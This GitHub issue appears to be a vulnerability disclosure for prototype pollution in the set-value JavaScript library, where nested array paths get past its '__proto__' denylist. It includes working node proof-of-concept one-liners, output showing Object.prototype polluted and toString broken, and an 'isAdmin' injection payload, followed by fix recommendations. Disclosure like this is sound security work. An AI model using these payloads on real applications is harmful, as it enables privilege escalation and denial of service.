Skip to content

🚨 Security Advisory: Critical Prototype Pollution in set-value #49

@franrojasblaze

Description

@franrojasblaze

Executive Summary

A critical vulnerability was identified in the set-value library, enabling Prototype Pollution through a nested array path bypass.

By supplying a crafted path such as:

[["__proto__"], "prop"]

an attacker can bypass existing sanitization mechanisms and inject arbitrary properties into Object.prototype.

This leads to:

  • Global state corruption
  • Logic and access control bypass
  • Full Denial of Service (DoS)

Vulnerability Details

  • Type: Prototype Pollution
  • Vector: Nested Array Path Bypass
  • Component: setValue()
  • Impact: Global State Corruption, Privilege Escalation, DoS

Technical Root Cause

The library attempts to prevent dangerous keys such as __proto__, constructor, and prototype using a denylist.

However, when the path is supplied as a nested array, the implementation recursively unwraps the array structure without re-validating inner elements.

This allows attackers to bypass protections by embedding forbidden keys within nested arrays, effectively evading top-level sanitization.

Proof of Concept (PoC)

1. Global Prototype Pollution

node -e 'const set = require("../upstream/set-value");
const path = [["__proto__"], "polluted"];
set({}, path, "HACKED_BY_NESTED_ARRAY");

console.log(
"Is Object.prototype polluted?",
({}).polluted === "HACKED_BY_NESTED_ARRAY" ? "YES (VULNERABLE)" : "NO"
);'

Output:

Is Object.prototype polluted? YES (VULNERABLE)

2. Denial of Service (DoS)

node -e 'require("../upstream/set-value")({}, [["__proto__"], "toString"], "BROKEN");

try {
({}).toString();
} catch(e) {
console.log("Success! Global prototype corrupted.");
console.log("Error:", e.message);
}'

Output:

Success! Global prototype corrupted.
Error: {}.toString is not a function
  

Impact Analysis

Authentication / Authorization Bypass

An attacker can inject properties into all objects globally:

{"path": [["__proto__"], "isAdmin"], "value": true}

Result:

({}).isAdmin === true

This can grant administrative privileges across the entire application.

Denial of Service (DoS)

Overwriting built-in methods such as toString or hasOwnProperty can break core runtime behavior, leading to application crashes during:

  • Logging
  • JSON serialization
  • String operations

Recommendations

  • Recursive Validation: Validate all nested path elements, regardless of depth.
  • Path Flattening: Normalize and validate the entire path before applying it.
  • Strict Blocklist: Reject __proto__, constructor, and prototype at any level.
  • Safe Object Creation: Use Object.create(null) when appropriate.

Metadata

  • Researcher: Franciny Rojas
  • Severity: CRITICAL (CVSS 9.8)
  • Status: Confirmed & Fully Reproducible

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions